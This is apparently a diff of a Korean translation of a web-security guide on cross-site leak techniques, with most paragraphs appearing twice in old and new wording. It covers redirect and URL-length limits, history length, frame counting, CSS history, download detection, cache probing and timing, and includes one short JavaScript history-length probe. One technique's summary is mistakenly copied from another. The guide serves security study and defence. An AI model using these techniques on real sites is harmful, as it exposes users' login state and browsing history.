@ -586,12 +586,12 @@ Origin이 반영되지 않고 와일드카드가 사용되는 경우(`Access-Con
- **요약:** 리디렉션 응답 길이로 인해 응답의 차이를 감지할 수 있습니다. 너무 길면 서버가 오류로 응답하고 경고가 생성됩니다.
- **코드 예제**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
서버 측 리디렉션이 **리디렉션 내에서 사용자 입력을 사용하고** **추가 데이터**를 포함하는 경우, 이 동작을 감지할 수 있습니다. 일반적으로 **서버**는 **요청 길이 제한**이 있습니다. **사용자 데이터**가 **길이 - 1**인 경우, **리디렉션**이 **해당 데이터**를 사용하고 **추가**하는 경우, **오류가 발생하여 오류 이벤트를 통해 감지할 수 있습니다**.
서버 측 리디렉션이 **리디렉션 내에서 사용자 입력을 사용하고** **추가 데이터를 포함하는 경우**, 이 동작을 감지할 수 있습니다. 일반적으로 **서버**는 **요청 길이 제한**이 있습니다. **사용자 데이터**가 **길이 - 1**인 경우, **리디렉션**이 **해당 데이터**를 사용하고 **추가**하는 경우, **오류가 발생하여 오류 이벤트를 통해 감지할 수 있습니다**.
사용자에게 쿠키를 설정할 수 있는 경우, **충분한 쿠키를 설정하여** 이 공격을 수행할 수도 있습니다 ([**쿠키 폭탄**](hacking-with-cookies/cookie-bomb.md)). 이 경우, **정상 응답의 크기 증가**로 인해 **오류**가 발생합니다. 이 요청을 동일한 사이트에서 트리거하면 `<script>`가 자동으로 쿠키를 전송하므로 **오류를 확인할 수 있습니다**.\
**쿠키 폭탄 + XS-Search**의 예는 이 문서의 의도된 솔루션에서 찾을 수 있습니다: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
사용자에게 쿠키를 설정할 수 있는 경우, **충분한 쿠키를 설정하여** 이 공격을 수행할 수도 있습니다([**쿠키 폭탄**](hacking-with-cookies/cookie-bomb.md)). 이 경우, **정상 응답의 크기 증가**로 인해 **오류**가 발생합니다. 이 요청을 동일한 사이트에서 트리거하면 `<script>`가 자동으로 쿠키를 전송하므로(오류를 확인할 수 있습니다).\
**쿠키 폭탄 + XS-Search**의 예시는 이 글의 의도된 솔루션에서 찾을 수 있습니다: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
이 유형의 공격에는 `SameSite=None` 또는 동일한 컨텍스트에 있어야 합니다.
`SameSite=None` 또는 동일한 컨텍스트에 있어야 이 유형의 공격이 일반적으로 필요합니다.
### URL 최대 길이 - 클라이언트 측
@ -605,11 +605,11 @@ Origin이 반영되지 않고 와일드카드가 사용되는 경우(`Access-Con
> 일반적으로, _웹 플랫폼_은 URL 길이에 대한 제한이 없습니다(2^31이 일반적인 제한이지만). _Chrome_은 실용적인 이유로 URL을 최대 **2MB**로 제한하여 프로세스 간 통신에서 서비스 거부 문제를 피합니다.
따라서 **리디렉션 URL이 한 경우에 더 큰 응답을 반환하면**, **2MB보다 큰 URL로 리디렉션**하여 **길이 제한**에 도달할 수 있습니다. 이 경우, Chrome은 **`about:blank#blocked`** 페이지를 표시합니다.
따라서 **리디렉션 URL이 한 경우에 더 크다면**, **2MB보다 큰 URL로 리디렉션**되도록 할 수 있습니다. 이 경우, Chrome은 **`about:blank#blocked`** 페이지를 표시합니다.
**눈에 띄는 차이점**은 **리디렉션**이 **완료되었을 경우**, `window.origin`이 **오류를 발생시키는 것**입니다. 교차 출처는 해당 정보를 접근할 수 없습니다. 그러나 **제한**이 **초과**되고 로드된 페이지가 **`about:blank#blocked`**인 경우, 창의 **`origin`**은 **부모**의 것이며, 이는 **접근 가능한 정보**입니다.
**눈에 띄는 차이점**은 **리디렉션**이 **완료되었다면**, `window.origin`이 **오류를 발생시키는** 것입니다. 교차 출처는 해당 정보를 접근할 수 없습니다. 그러나 **제한**이 초과되고 로드된 페이지가 **`about:blank#blocked`**인 경우, 창의 **`origin`**은 **부모**의 것이며, 이는 **접근 가능한 정보**입니다.
**2MB**에 도달하기 위해 필요한 모든 추가 정보는 초기 URL에 **해시**를 추가하여 **리디렉션에 사용될 수 있습니다**.
**2MB**에 도달하기 위해 필요한 모든 추가 정보는 초기 URL의 **해시**를 통해 추가할 수 있으므로 **리디렉션에 사용됩니다**.
{{#ref}}
xs-search/url-max-length-client-side.md
@ -623,7 +623,7 @@ xs-search/url-max-length-client-side.md
- **요약:** 브라우저의 리디렉션 제한을 사용하여 URL 리디렉션의 발생 여부를 확인합니다.
- **코드 예제**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
브라우저의 **최대** 리디렉션 수가 **20**인 경우, 공격자는 **19개의 리디렉션**으로 자신의 페이지를 로드하려고 시도하고 마지막에 **피해자를 테스트된 페이지로 보냅니다**. **오류**가 발생하면, 페이지가 피해자를 **리디렉션하려고 시도한 것입니다**.
브라우저가 따를 수 있는 **최대** 리디렉션 수가 **20**인 경우, 공격자는 **19개의 리디렉션**으로 자신의 페이지를 로드하려고 시도하고 마지막으로 **피해자를 테스트된 페이지로 보냅니다**. **오류**가 발생하면, 페이지가 피해자를 **리디렉션하려고 시도한 것입니다**.
### 히스토리 길이
@ -633,7 +633,7 @@ xs-search/url-max-length-client-side.md
- **요약:** JavaScript 코드는 브라우저 히스토리를 조작할 수 있으며, 길이 속성으로 접근할 수 있습니다.
- **코드 예제**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
**History API**는 JavaScript 코드가 브라우저 히스토리를 조작할 수 있게 하며, 이는 **사용자가 방문한 페이지를 저장합니다**. 공격자는 길이 속성을 포함 방법으로 사용할 수 있습니다: JavaScript 및 HTML 탐색을 감지하기 위해.\
**History API**는 JavaScript 코드가 브라우저 히스토리를 조작할 수 있게 해주며, 이는 **사용자가 방문한 페이지를 저장합니다**. 공격자는 길이 속성을 포함 방법으로 사용할 수 있습니다: JavaScript 및 HTML 탐색을 감지하기 위해.\
**`history.length`**를 확인하고 사용자가 **페이지로 탐색**하게 한 후, **동일 출처로 다시 변경**하고 **`history.length`**의 새 값을 확인합니다.
### 동일 URL로 히스토리 길이
@ -643,7 +643,7 @@ xs-search/url-max-length-client-side.md
- **요약:** 히스토리 길이를 악용하여 프레임/팝업의 위치가 특정 URL에 있는지 추측할 수 있습니다.
- **코드 예제**: 아래
공격자는 JavaScript 코드를 사용하여 **프레임/팝업 위치를 추측한 URL로 조작하고** **즉시** **`about:blank`**로 변경할 수 있습니다. 히스토리 길이가 증가하면 URL이 올바르며 **URL이 동일할 경우 다시 로드되지 않기 때문에 증가할 시간이 있음을 의미합니다**. 증가하지 않았다면, 이는 **추측한 URL을 로드하려고 시도했지만, 즉시** **`about:blank`**를 로드했기 때문에 **히스토리 길이가 증가하지 않았음을 의미합니다**.
공격자는 JavaScript 코드를 사용하여 **프레임/팝업 위치를 추측한 URL로 조작하고** **즉시** **`about:blank`**로 변경할 수 있습니다. 히스토리 길이가 증가했다면 URL이 올바르며 **URL이 동일할 경우 다시 로드되지 않기 때문에 증가할 시간이 있었습니다**. 증가하지 않았다면 **추측한 URL을 로드하려고 시도했지만**, **즉시 이후에** **`about:blank`**를 로드했기 때문에 **히스토리 길이가 증가하지 않았습니다**.
```javascript
async function debug(win, url) {
win.location = url + "#aaa"
@ -669,10 +669,10 @@ console.log(await debug(win, "https://example.com/?a=b"))
- **Summary:** `window.length` 속성을 검사하여 iframe 요소의 수를 평가합니다.
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
웹에서 `iframe` 또는 `window.open`을 통해 열린 **프레임의 수**를 세는 것은 **사용자의 상태를 식별하는 데** 도움이 될 수 있습니다.\
웹에서 `iframe` 또는 `window.open`을 통해 열린 **프레임의 수**를 세는 것은 **사용자의 상태를 식별하는 데 도움이 될 수 있습니다**.\
또한, 페이지에 항상 동일한 수의 프레임이 있는 경우, 프레임 수를 **지속적으로** 확인하면 정보가 유출될 수 있는 **패턴**을 식별하는 데 도움이 될 수 있습니다.
이 기술의 예로, 크롬에서는 **PDF**가 **프레임 카운팅**으로 **감지**될 수 있습니다. 내부적으로 `embed`가 사용되기 때문입니다. `zoom`, `view`, `page`, `toolbar`와 같은 콘텐츠에 대한 일부 제어를 허용하는 [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113)가 있어 이 기술이 흥미로울 수 있습니다.
이 기술의 예로, 크롬에서는 **PDF**가 **프레임 카운팅**으로 **감지될 수 있습니다**. 내부적으로 `embed`가 사용되기 때문입니다. `zoom`, `view`, `page`, `toolbar`와 같은 콘텐츠에 대한 일부 제어를 허용하는 [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113)가 있어 이 기술이 흥미로울 수 있습니다.
### HTMLElements
@ -686,10 +686,10 @@ HTML 요소를 통한 정보 유출은 웹 보안에서 우려되는 문제로,
### Information Exposed by HTML Elements
- **HTMLMediaElement**: 이 요소는 미디어의 `duration` 및 `buffered` 시간을 노출하며, API를 통해 접근할 수 있습니다. [HTMLMediaElement에 대해 더 알아보기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: `videoHeight` 및 `videoWidth`를 노출합니다. 일부 브라우저에서는 `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, `webkitDecodedFrameCount`와 같은 추가 속성이 제공되어 미디어 콘텐츠에 대한 더 깊은 정보를 제공합니다. [HTMLVideoElement에 대해 더 알아보기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: 이 함수는 비디오 재생 품질에 대한 세부 정보를 제공하며, `totalVideoFrames`를 포함하여 처리된 비디오 데이터의 양을 나타낼 수 있습니다. [getVideoPlaybackQuality()에 대해 더 알아보기](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: 이 요소는 이미지의 `height` 및 `width`를 유출합니다. 그러나 이미지가 유효하지 않은 경우 이러한 속성은 0을 반환하며, `image.decode()` 함수는 거부되어 이미지를 제대로 로드하지 못했음을 나타냅니다. [HTMLImageElement에 대해 더 알아보기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
- **HTMLMediaElement**: 이 요소는 미디어의 `duration` 및 `buffered` 시간을 노출하며, API를 통해 접근할 수 있습니다. [HTMLMediaElement에 대해 더 읽기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: `videoHeight` 및 `videoWidth`를 노출합니다. 일부 브라우저에서는 `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, `webkitDecodedFrameCount`와 같은 추가 속성이 제공되어 미디어 콘텐츠에 대한 더 깊이 있는 정보를 제공합니다. [HTMLVideoElement에 대해 더 읽기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: 이 함수는 비디오 재생 품질에 대한 세부 정보를 제공하며, `totalVideoFrames`를 포함하여 처리된 비디오 데이터의 양을 나타낼 수 있습니다. [getVideoPlaybackQuality()에 대해 더 읽기](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: 이 요소는 이미지의 `height` 및 `width`를 유출합니다. 그러나 이미지가 유효하지 않은 경우 이러한 속성은 0을 반환하며, `image.decode()` 함수는 거부되어 이미지를 제대로 로드하지 못했음을 나타냅니다. [HTMLImageElement에 대해 더 읽기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
### CSS Property
@ -699,8 +699,8 @@ HTML 요소를 통한 정보 유출은 웹 보안에서 우려되는 문제로,
- **Summary:** 사용자의 상태 또는 상태와 관련된 웹사이트 스타일의 변화를 식별합니다.
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
웹 애플리케이션은 사용자의 상태에 따라 **웹사이트 스타일을 변경할 수 있습니다**. 공격자 페이지에 **HTML 링크 요소**를 사용하여 교차 출처 CSS 파일을 삽입할 수 있으며, **규칙**은 공격자 페이지에 **적용됩니다**. 페이지가 이러한 규칙을 동적으로 변경하면 공격자는 사용자 상태에 따라 이러한 **차이**를 **감지**할 수 있습니다.\
유출 기술로서 공격자는 `window.getComputedStyle` 메서드를 사용하여 특정 HTML 요소의 **CSS** 속성을 **읽을 수 있습니다**. 결과적으로 영향을 받는 요소와 속성 이름이 알려져 있다면 공격자는 임의의 CSS 속성을 읽을 수 있습니다.
웹 애플리케이션은 사용자의 상태에 따라 **웹사이트 스타일을 변경할 수 있습니다**. 공격자 페이지에 **HTML 링크 요소**를 사용하여 교차 출처 CSS 파일을 삽입할 수 있으며, **규칙**은 공격자 페이지에 **적용됩니다**. 페이지가 이러한 규칙을 동적으로 변경하는 경우, 공격자는 사용자 상태에 따라 이러한 **차이**를 **감지**할 수 있습니다.\
유출 기술로서, 공격자는 `window.getComputedStyle` 메서드를 사용하여 특정 HTML 요소의 **CSS** 속성을 **읽을 수 있습니다**. 결과적으로, 공격자는 영향을 받는 요소와 속성 이름이 알려져 있다면 임의의 CSS 속성을 읽을 수 있습니다.
### CSS History
@ -717,9 +717,9 @@ CSS `:visited` 선택자는 사용자가 이전에 방문한 경우 URL을 다
이러한 제한에도 불구하고 링크의 방문 상태를 간접적으로 식별할 수 있습니다. 한 가지 기술은 사용자가 CSS에 영향을 받는 영역과 상호작용하도록 유도하는 것입니다. 특히 `mix-blend-mode` 속성을 활용합니다. 이 속성은 요소와 배경을 혼합할 수 있게 하여 사용자 상호작용에 따라 방문 상태를 드러낼 수 있습니다.
또한, 링크의 렌더링 타이밍을 악용하여 사용자 상호작용 없이 감지가 가능합니다. 브라우저는 방문한 링크와 방문하지 않은 링크를 다르게 렌더링할 수 있으므로, 이는 렌더링에서 측정 가능한 시간 차이를 초래할 수 있습니다. 여러 링크를 사용하여 타이밍 차이를 증폭시키는 이 기술을 보여주는 개념 증명(PoC)이 크롬 버그 보고서에 언급되었습니다. 이를 통해 방문 상태를 타이밍 분석을 통해 감지할 수 있습니다.
또한, 링크의 렌더링 타이밍을 악용하여 사용자 상호작용 없이 감지가 가능합니다. 브라우저는 방문한 링크와 방문하지 않은 링크를 다르게 렌더링할 수 있으므로, 이는 렌더링에서 측정 가능한 시간 차이를 초래할 수 있습니다. 여러 링크를 사용하여 타이밍 차이를 증폭시키는 이 기술을 보여주는 개념 증명(PoC)이 크롬 버그 보고서에 언급되었습니다.
이러한 속성과 방법에 대한 자세한 내용은 문서 페이지를 방문하십시오:
이 속성과 방법에 대한 자세한 내용은 문서 페이지를 방문하십시오:
- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
@ -733,45 +733,45 @@ CSS `:visited` 선택자는 사용자가 이전에 방문한 경우 URL을 다
- **Summary:** Google Chrome에서는 X-Frame-Options 제한으로 인해 페이지가 교차 출처 사이트에 포함되는 것이 차단될 때 전용 오류 페이지가 표시됩니다.
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
크롬에서 `X-Frame-Options` 헤더가 "deny" 또는 "same-origin"으로 설정된 페이지가 객체로 포함되면 오류 페이지가 나타납니다. 크롬은 이 객체의 `contentDocument` 속성에 대해 빈 문서 객체(즉, `null` 대신)를 고유하게 반환합니다. 이는 iframe이나 다른 브라우저와는 다릅니다. 공격자는 빈 문서를 감지하여 사용자의 상태에 대한 정보를 유출할 수 있습니다. 특히 개발자가 X-Frame-Options 헤더를 일관되게 설정하지 않고 오류 페이지를 간과하는 경우 더욱 그렇습니다. 이러한 유출을 방지하기 위해 보안 헤더의 인식과 일관된 적용이 중요합니다.
크롬에서 `X-Frame-Options` 헤더가 "deny" 또는 "same-origin"으로 설정된 페이지가 객체로 포함되면 오류 페이지가 나타납니다. 크롬은 이 객체의 `contentDocument` 속성에 대해 빈 문서 객체(즉, `null`이 아님)를 고유하게 반환합니다. 이는 iframe이나 다른 브라우저와는 다릅니다. 공격자는 빈 문서를 감지하여 사용자의 상태에 대한 정보를 유출할 수 있으며, 특히 개발자가 X-Frame-Options 헤더를 일관되게 설정하지 않고 오류 페이지를 간과하는 경우에 더욱 그렇습니다. 이러한 유출을 방지하기 위해 보안 헤더의 인식과 일관된 적용이 중요합니다.
### Download Detection
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Headers
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
- **Summary:** 공격자는 iframe을 활용하여 파일 다운로드를 감지할 수 있습니다. iframe의 지속적인 접근 가능성은 성공적인 파일 다운로드를 의미합니다.
- **Summary:** 공격자는 iframe을 활용하여 파일 다운로드를 감지할 수 있으며, iframe의 지속적인 접근 가능성은 파일 다운로드가 성공적으로 이루어졌음을 나타냅니다.
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
`Content-Disposition` 헤더, 특히 `Content-Disposition: attachment`는 브라우저에 콘텐츠를 인라인으로 표시하는 대신 다운로드하도록 지시합니다. 이 동작은 사용자가 파일 다운로드를 트리거하는 페이지에 접근할 수 있는지 감지하는 데 악용될 수 있습니다. 크로미움 기반 브라우저에서는 이 다운로드 동작을 감지하는 몇 가지 기술이 있습니다:
`Content-Disposition` 헤더, 특히 `Content-Disposition: attachment`는 브라우저에 콘텐츠를 인라인으로 표시하는 대신 다운로드하도록 지시합니다. 이 동작은 사용자가 파일 다운로드를 유발하는 페이지에 접근할 수 있는지 감지하는 데 악용될 수 있습니다. 크로미움 기반 브라우저에서는 이 다운로드 동작을 감지하기 위한 몇 가지 기술이 있습니다:
1. **다운로드 바 모니터링**:
- 크로미움 기반 브라우저에서 파일이 다운로드되면 브라우저 창 하단에 다운로드 바가 나타납니다.
- 창 높이의 변화를 모니터링하여 다운로드 바의 나타남을 추론할 수 있습니다.
2. **iframe을 통한 다운로드 탐색**:
- 페이지가 `Content-Disposition: attachment` 헤더를 사용하여 파일 다운로드를 트리거할 때 탐색 이벤트를 발생시키지 않습니다.
- 콘텐츠를 iframe에 로드하고 탐색 이벤트를 모니터링하여 콘텐츠 배치가 파일 다운로드를 유발하는지(탐색 없음) 여부를 확인할 수 있습니다.
3. **iframe 없이 다운로드 탐색**:
2. **iframe을 통한 다운로드 탐지**:
- 페이지가 `Content-Disposition: attachment` 헤더를 사용하여 파일 다운로드를 유발할 때, 이는 탐색 이벤트를 발생시키지 않습니다.
- 콘텐츠를 iframe에 로드하고 탐색 이벤트를 모니터링하여 콘텐츠 배치가 파일 다운로드를 유발하는지(탐색 없음) 확인할 수 있습니다.
3. **iframe 없이 다운로드 탐지**:
- iframe 기술과 유사하게, 이 방법은 iframe 대신 `window.open`을 사용합니다.
- 새로 열린 창에서 탐색 이벤트를 모니터링하여 파일 다운로드가 트리거되었는지(탐색 없음) 또는 콘텐츠가 인라인으로 표시되었는지(탐색 발생)를 확인할 수 있습니다.
- 새로 열린 창에서 탐색 이벤트를 모니터링하여 파일 다운로드가 유발되었는지(탐색 없음) 또는 콘텐츠가 인라인으로 표시되었는지(탐색 발생)를 확인할 수 있습니다.
로그인한 사용자만 이러한 다운로드를 트리거할 수 있는 경우, 이러한 기술을 사용하여 다운로드 요청에 대한 브라우저의 응답을 기반으로 사용자의 인증 상태를 간접적으로 추론할 수 있습니다.
로그인한 사용자만 이러한 다운로드를 유발할 수 있는 시나리오에서는 이러한 기술을 사용하여 다운로드 요청에 대한 브라우저의 응답을 기반으로 사용자의 인증 상태를 간접적으로 추론할 수 있습니다.
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
- **Summary:** 공격자는 iframe을 활용하여 파일 다운로드를 감지할 수 있습니다. iframe의 지속적인 접근 가능성은 성공적인 파일 다운로드를 의미합니다.
- **Summary:** 공격자는 iframe을 활용하여 파일 다운로드를 감지할 수 있으며, iframe의 지속적인 접근 가능성은 파일 다운로드가 성공적으로 이루어졌음을 나타냅니다.
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> [!WARNING]
> 이 기술이 흥미로운 이유는: 크롬은 이제 **캐시 파티셔닝**을 가지고 있으며, 새로 열린 페이지의 캐시 키는: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`입니다. 그러나 ngrok 페이지를 열고 fetch를 사용하면 캐시 키는: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`가 됩니다. **캐시 키가 다릅니다**, 따라서 캐시를 공유할 수 없습니다. 여기에서 더 많은 세부 정보를 찾을 수 있습니다: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> 이 기술이 흥미로운 이유는: 크롬은 이제 **캐시 파티셔닝**을 가지고 있으며, 새로 열린 페이지의 캐시 키는: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`입니다. 그러나 ngrok 페이지를 열고 fetch를 사용하면 캐시 키는: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`가 됩니다. **캐시 키가 다르므로** 캐시를 공유할 수 없습니다. 더 자세한 내용은 여기에서 확인할 수 있습니다: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Comment from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
사이트 `example.com`이 `*.example.com/resource`에서 리소스를 포함하면 해당 리소스는 **최상위 탐색을 통해 직접 요청된 것처럼** **동일한 캐싱 키**를 가집니다. 이는 캐싱 키가 최상위 _eTLD+1_ 및 프레임 _eTLD+1_로 구성되기 때문입니다.
사이트 `example.com`이 `*.example.com/resource`에서 리소스를 포함하면 해당 리소스는 최상위 탐색을 통해 직접 요청된 것과 **동일한 캐싱 키**를 가집니다. 이는 캐싱 키가 최상위 _eTLD+1_ 및 프레임 _eTLD+1_로 구성되기 때문입니다.
캐시에 접근하는 것이 리소스를 로드하는 것보다 빠르기 때문에, 페이지의 위치를 변경하고 20ms 후에 취소하려고 시도할 수 있습니다(예:). 원본이 중지 후 변경되었다면, 리소스가 캐시되었음을 의미합니다.\
캐시에 접근하는 것이 리소스를 로드하는 것보다 빠르기 때문에, 페이지의 위치를 변경하고 20ms(예: 그 후) 후에 취소하려고 시도할 수 있습니다. 원본이 중지 후 변경되었다면, 리소스가 캐시되었음을 의미합니다.\
또는 **잠재적으로 캐시된 페이지에 대해 fetch를 보내고 소요 시간을 측정할 수 있습니다**.
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
@ -789,10 +789,10 @@ CSS `:visited` 선택자는 사용자가 이전에 방문한 경우 URL을 다
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Summary:** 리소스를 로드하려고 시도하고 로드되기 전에 로드를 중단할 수 있습니다. 오류가 발생하는지 여부에 따라 리소스가 캐시되었거나 그렇지 않습니다.
- **Summary:** 리소스를 로드하려고 시도하고 로드되기 전에 로딩을 중단할 수 있습니다. 오류가 발생하는지 여부에 따라 리소스가 캐시되었거나 그렇지 않을 수 있습니다.
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
**AbortController**와 함께 _**fetch**_ 및 _**setTimeout**_을 사용하여 **리소스가 캐시되었는지** 감지하고 특정 리소스를 브라우저 캐시에서 제거할 수 있습니다. 또한, 이 과정은 새로운 콘텐츠를 캐시하지 않고 발생합니다.
_**fetch**_와 _**setTimeout**_을 사용하여 **AbortController**와 함께 **리소스가 캐시되었는지** 감지하고 특정 리소스를 브라우저 캐시에서 제거할 수 있습니다. 또한, 이 과정은 새로운 콘텐츠를 캐시하지 않고 발생합니다.
### Script Pollution
@ -810,19 +810,19 @@ CSS `:visited` 선택자는 사용자가 이전에 방문한 경우 URL을 다
- **Summary:** 서비스 워커를 사용하여 웹의 실행 시간을 측정합니다.
- **Code Example**:
주어진 시나리오에서 공격자는 자신의 도메인 중 하나인 "attacker.com" 내에서 **서비스 워커**를 등록합니다. 다음으로, 공격자는 메인 문서에서 대상 웹사이트의 새 창을 열고 **서비스 워커**에게 타이머를 시작하도록 지시합니다. 새 창이 로드되기 시작하면 공격자는 이전 단계에서 얻은 참조를 **서비스 워커**가 관리하는 페이지로 탐색합니다.
주어진 시나리오에서 공격자는 자신의 도메인 중 하나인 "attacker.com" 내에서 **서비스 워커**를 등록하는 주도권을 잡습니다. 다음으로, 공격자는 메인 문서에서 대상 웹사이트의 새 창을 열고 **서비스 워커**에게 타이머를 시작하도록 지시합니다. 새 창이 로드되기 시작하면, 공격자는 이전 단계에서 얻은 참조를 **서비스 워커**가 관리하는 페이지로 탐색합니다.
이전 단계에서 시작된 요청이 도착하면 **서비스 워커**는 **204 (No Content)** 상태 코드로 응답하여 탐색 프로세스를 종료합니다. 이 시점에서 **서비스 워커**는 이전 단계에서 시작된 타이머의 측정을 캡처합니다. 이 측정치는 탐색 프로세스의 지연을 초래하는 JavaScript의 지속 시간에 영향을 받습니다.
이전 단계에서 시작된 요청이 도착하면, **서비스 워커**는 **204 (No Content)** 상태 코드로 응답하여 탐색 프로세스를 종료합니다. 이 시점에서 **서비스 워커**는 이전 단계에서 시작된 타이머의 측정을 캡처합니다. 이 측정은 탐색 프로세스의 지연을 초래하는 JavaScript의 지속 시간에 의해 영향을 받습니다.
> [!WARNING]
> 실행 타이밍에서는 **네트워크 요인**을 **제거**하여 **더 정확한 측정값**을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 페이지에서 사용하는 리소스를 로드하는 것입니다.
> 실행 타이밍에서는 **네트워크 요인**을 **제거**하여 **더 정확한 측정값**을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 페이지에서 사용하는 리소스를 로드함으로써 가능합니다.
### Fetch Timing
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Summary:** 요청을 수행하는 데 걸리는 시간을 측정하기 위해 [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow)를 사용합니다. 다른 시계를 사용할 수 있습니다.
- **Summary:** 요청을 수행하는 데 걸리는 시간을 측정하기 위해 [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow)를 사용합니다. 다른 시계도 사용할 수 있습니다.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
### Cross-Window Timing
@ -830,7 +830,7 @@ CSS `:visited` 선택자는 사용자가 이전에 방문한 경우 URL을 다
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Summary:** `window.open`을 사용하여 요청을 수행하는 데 걸리는 시간을 측정하기 위해 [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow)를 사용합니다. 다른 시계를 사용할 수 있습니다.
- **Summary:** `window.open`을 사용하여 요청을 수행하는 데 걸리는 시간을 측정하기 위해 [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow)를 사용합니다. 다른 시계도 사용할 수 있습니다.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
## With HTML or Re Injection
@ -845,35 +845,35 @@ dangling-markup-html-scriptless-injection/
### Image Lazy Loading
비밀 이전에 **콘텐츠를 유출해야** 하고 **HTML을 추가할 수 있는 경우** **일반적인 dangling markup 기술**을 확인해야 합니다.\
그러나 어떤 이유로든 **문자 단위로** 수행해야 하는 경우(예: 통신이 캐시 적중을 통해 이루어지는 경우) 이 트릭을 사용할 수 있습니다.
**콘텐츠를 유출해야 하고 비밀 이전에 HTML을 추가할 수 있는 경우**, **일반적인 dangling markup 기술**을 확인해야 합니다.\
